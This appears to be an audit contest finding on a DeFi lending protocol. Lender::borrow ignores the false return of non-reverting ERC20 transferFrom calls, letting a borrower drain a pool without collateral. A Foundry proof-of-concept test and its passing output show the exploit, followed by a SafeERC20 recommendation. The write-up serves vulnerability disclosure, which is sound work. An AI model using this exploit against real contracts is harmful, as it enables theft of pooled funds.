20,000 USDC
View results
Submission Details
Severity: high

Pools can be drained if collateral token contract doesn't revert on failure

Summary

Some ERC20 tokens doesn't revert on failure instead they return false.

A malicious actor can call Lender::borrow with an amount of collateral greater than his current balance, when the protocol calls the transferFrom method to move tokens from msg.sender to the protocol this will fail, but due to the lack of check in the return value Lender::borrow will not revert and the actor will successfully drain the pool without depositing tokens.

Vulnerability Details

Assume a malicious user has a balance of 2000 collateralToken, and decides to borrow the whole balance of pool1 by depositing 3000 collateralToken.

The user calls Lender::borrow, but due the lack of funds from the user no collateral will be deposited, the debt will be issued and tokens will be transferred to the borrower, and successfully the pool is drained.

At this point nothing can be done by the lender to recover the tokens even if he starts an auction.

function testUserBorrowWithoutCollateral() public {
Pool memory pool1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(erc20NoRevert),
minLoanSize: 100e18,
poolBalance: 1000e18,
maxLoanRatio: 2e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
// set pool1
vm.prank(lender1);
lender.setPool(pool1);
//create borrows
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: keccak256(abi.encode(lender1, address(loanToken), address(erc20NoRevert))),
debt: 1000e18,
collateral: 3000e18
});
vm.prank(borrower);
lender.borrow(borrows);
(,,,, uint256 loanDebt,,,,,) = lender.loans(0);
(,,,, uint256 poolBalance,,,,) =
lender.pools(keccak256(abi.encode(lender1, address(loanToken), address(erc20NoRevert))));
assert(erc20NoRevert.balanceOf(address(lender)) == 0);
assert(loanDebt == 1000e18);
assert(poolBalance == 0);
assertEq(loanToken.balanceOf(borrower), 995000000000000000000);
console.log("\n", "\t", "After borrowing:");
console.log("\t", "The balance of collateral token deposited in the protocol:", erc20NoRevert.balanceOf(address(lender)));
console.log("\t", "Borrower loan token balance:", loanToken.balanceOf(borrower));
console.log("\t", "The debt issued by the pool:", loanDebt);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(5 days);
vm.roll(BLOCK);
lender.seizeLoan(loanIds);
vm.stopPrank();
assert(erc20NoRevert.balanceOf(address(lender)) == 0);
assertEq(loanToken.balanceOf(borrower), 995000000000000000000);
}

The result of this hack is shown below.

Running 1 test for test/audit/unit/LenderTest.t.sol:LenderTest
[PASS] testUserBorrowWithoutCollateral() (gas: 491008)
Logs:
After borrowing:
The balance of collateral token in the protocol: 0
Borrower loan token balance: 995000000000000000000
The debt issued by the pool: 1000000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 435.73ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Pools can be drained

Tools Used

VS Code and Foundry

Recommendations

Check for return values for ERC20 operations or implement wrappers around ERC20 operation like the SafeERC20 library from OpenZeppelin.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.